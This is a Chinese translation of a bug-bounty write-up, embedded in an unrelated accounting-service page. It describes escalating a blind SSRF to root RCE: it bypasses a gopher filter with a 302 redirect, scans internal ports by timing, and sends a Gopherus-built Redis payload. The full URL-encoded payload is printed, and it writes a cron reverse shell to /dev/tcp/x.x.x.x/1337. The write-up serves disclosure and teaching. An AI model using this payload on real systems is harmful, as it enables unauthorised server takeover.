您好,欢迎访问代理记账网站
  • 价格透明
  • 信息保密
  • 进度掌控
  • 售后无忧

翻译文章 | Just gopher it!无回显SSRF升级为RCE

前言:

发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序。

我能说的是,这是在Hackerone运行时间最长、规模最大的bug赏金活动中发现的。多个Hackerone的现场黑客活动已经包括这个活动。

毋庸置疑,这是一家拥有世界级安全团队的公司,多年来一直有大量专门针对它的黑客专家——这使得这个漏洞的存在更加令人惊讶。

第1部分:侦察

通常对于一个大范围的bug赏金程序,我会从子域枚举开始,以增加我的攻击面,但在这种情况下,我只针对我的目标上的一个web应用程序。

因为我只专注于一个web应用,所以我开始使用GAU工具获取url和路径列表。我还查看了各种javascript文件以寻找隐藏的路径,并使用ffuf工具进行了一些目录模糊爆破。我通过这些方法找到了一些有趣的路径,但没有发现任何可攻击的。

由于第一种侦查方法没有导致任何发现,我尝试了另一种方法-测试web应用程序的各种功能,同时运行Burp代理在后台。所有发出的请求都存储在Burp中的一个有组织的列表中,这样就可以很容易地查看所有请求,以寻找任何有趣的或可能存在漏洞的内容。

在测试web应用程序的功能后,我开始查看存储在代理日志中的请求,并遇到类似的请求:

GET /xxx/logoGrabber?url= [http://example.com][0]

Host: site.example.com

一个接受url参数的GET请求。这个请求的响应看起来是这样的,包含了关于url的标题和logo的信息:

{"responseTime":"99999ms","grabbedUrl":" [http://example.com][0] ","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

这个请求立即引起了我的兴趣,因为它返回了一些关于URL的数据。当遇到从URL返回信息的请求时,测试SSRF是一个好主意。

第2部分:发现SSRF

我在SSRF的第一次尝试失败了。我能够得到外部与我的服务器的交互,但没有获得任何内部IP地址,因为他们有适当的保护。

在未能命中任何内部IP地址后,我决定看看能否命中该公司的任何公开的子域名。我为我的目标做了一些子域枚举,然后开始在请求时覆盖所有枚举域。

最后,我很幸运地发现了一些请求,这些请求返回了来自非公开访问站点的标题数据。

子域名somecorpsite.example.com就是一个很好的例子。当我试图在浏览器中访问http://somecorpsite.example.com时,请求超时了。但当我提交请求时:

GET /xxx/logoGrabber?url= [http://somecorpsite.example.com][1]

Host: site.example.com

回复包含了内部标题和logo信息:

{"responseTime":"9ms","grabbedUrl":" [http://somecorpsite.example.com][1] ","urlInfo": {"pageTitle":"INTERNAL PAGE TITLE","pageLogo":" [http://somecorpsite.example.com/logos/logo.png"}}][2]

img

现在我可以点击内部子域名访问标题和标志的url,我决定提交一个报告给我的目标无回显SSRF。内部标题信息没有包含任何过于敏感的内容,没有其他页面内容被返回,所以我认为这将被认为是一个相当低的影响无回显SSRF,但我没有想法来升级这个,并决定报告它。

一段时间后,报告被接受了,并进行了归档。

第3部分:RCE

自从我的原始报告被归档后,大约一个月过去了。我很高兴它被归档了,但我知道影响很低,我可能不会从中得到什么。

SSRF仍然是可攻击的,尚未修复,所以我决定做一些更多的研究,试图进一步升级它。在我的研究过程中,我了解到Gopher协议是升级ssrf的一种很好的方式,在某些情况下可以导致完整的远程代码执行。

为了测试gopher协议是否被支持,我提交了类似如下的请求:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl

Host: site.example.com

不幸的是,请求立即失败,并导致服务器错误。没有向我的Burp服务器提出任何请求,所以似乎gopher协议不被支持。

在继续我的测试时,我在网上看到重定向通常是绕过某些SSRF保护的好方法,所以我决定测试服务器是否遵循重定向。

为了测试重定向是否有效,我设置了一个Python http服务器,302将所有GET流量重定向到我的Burp服务器

python3 302redirect.py port “http://mycollaboratorurl/”

然后,我提交了如下请求,以查看重定向是否击中我的服务器:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

提交请求后,我注意到重定向被跟踪,导致命中我的Burp服务器url。所以现在我已经验证了302个重定向被跟踪了…

现在重定向工作了,我决定用gopher协议来测试它。最初在请求中提交gopher有效负载直接导致服务器错误,所以我像下面这样设置重定向服务器来测试gopher是否可以通过重定向工作:

python3 302redirect.py port “gopher://mycollaboratorurl/”

然后再把请求提交

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

令我惊讶的是,它成功了——重定向被跟踪了,我收到了对我的服务器url的请求!有一些过滤器反对Gopher协议的url,但如果我重定向从我自己的服务器,它就能绕过这个防护,重定向被跟踪Gopher有效载荷被执行!

不仅gopher有效负载通过302重定向执行,而且我意识到使用gopher我现在还可以命中以前过滤过的内部IP地址,如127.0.0.1。

img

现在我有了Gopher有效负载,可以访问内部主机,我必须弄清楚可以与哪些服务进行交互,以便升级。在做了一些搜索之后,我发现了gopher工具,它可以生成gopher有效载荷来升级SSRF。它包含以下服务的有效载荷:

gopherus([https://github.com/tarunkant/Gopherus)][0]

  • MySQL (Port-3306)
  • FastCGI (Port-9000)
  • Memcached (Port-11211)
  • Redis (Port-6379)
  • Zabbix (Port-10050)
  • SMTP (Port-25)

为了确定127.0.0.1上是否开放了上述任何端口,我使用了SSRF和端口扫描的响应时间。

通过302重定向我的web服务器到gopher://127.0.0.1:port,然后提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

我可以识别开放的端口,因为如果端口关闭,请求的响应时间会很长,如果端口打开,请求的响应时间会很短。使用这个端口扫描方法,我检查了以上所有6个端口。一个端口似乎是开放的-端口6379 (Redis)

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED

302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED

302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN

现在情况开始好转了。我想要的都有了:

  • Gopher协议被302重定向接收
  • 能够用gopher有效载荷攻击本地主机
  • 确定在本地主机上运行的一个可能存在漏洞的服务

使用Gopherus,我生成了一个Redis反向shell负载,最终看起来像这样:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

如果这个有效负载成功,它将对我的netcat侦听器产生一个反向shell。我把我的服务器重定向到gopher有效负载,就像这样:

python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A

%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

一旦我的web服务器启动,我还在端口1337上启动了一个Netcat侦听器来捕获任何传入的反向shell。

最后,揭晓真相的时刻到了。我提交了请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

什么都没有。什么也没有发生。我看到一个请求来到我的重定向服务器,但没有反向shell返回到我的netcat。这就是我想的结局,果然还是挖不到rce,selfxss才适合我。

我想也许img

我的端口扫描是误报的,没有Redis服务器运行在本地主机上。

我接受了失败,开始关闭一切。我真的把鼠标放在运行netcat的终端的X按钮上,离点击关闭netcat只有几毫秒,突然

我真的不知道为什么会延迟这么久,但是在提交请求大约5分钟后,我收到了一个反向shell。我很高兴我让监听一直听着,否则我永远不会知道我有一个RCE。

img

我运行whoami来验证我有RCE(并且我是root!),然后立即断开连接并使用新的信息更新我的原始报告。

img

极简简约动态分割线本周六快手联合火线 举办线下「观火」白帽沙龙活动 ↓扫描二维码火速了解解码未来活动banner

【火线Zone】

火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~

我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!

欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!

指纹识别简约卡片动态二维码 (2)

引导分享点赞在看GIF引导三连


分享:

低价透明

统一报价,无隐形消费

金牌服务

一对一专属顾问7*24小时金牌服务

信息保密

个人信息安全有保障

售后无忧

服务出问题客服经理全程跟进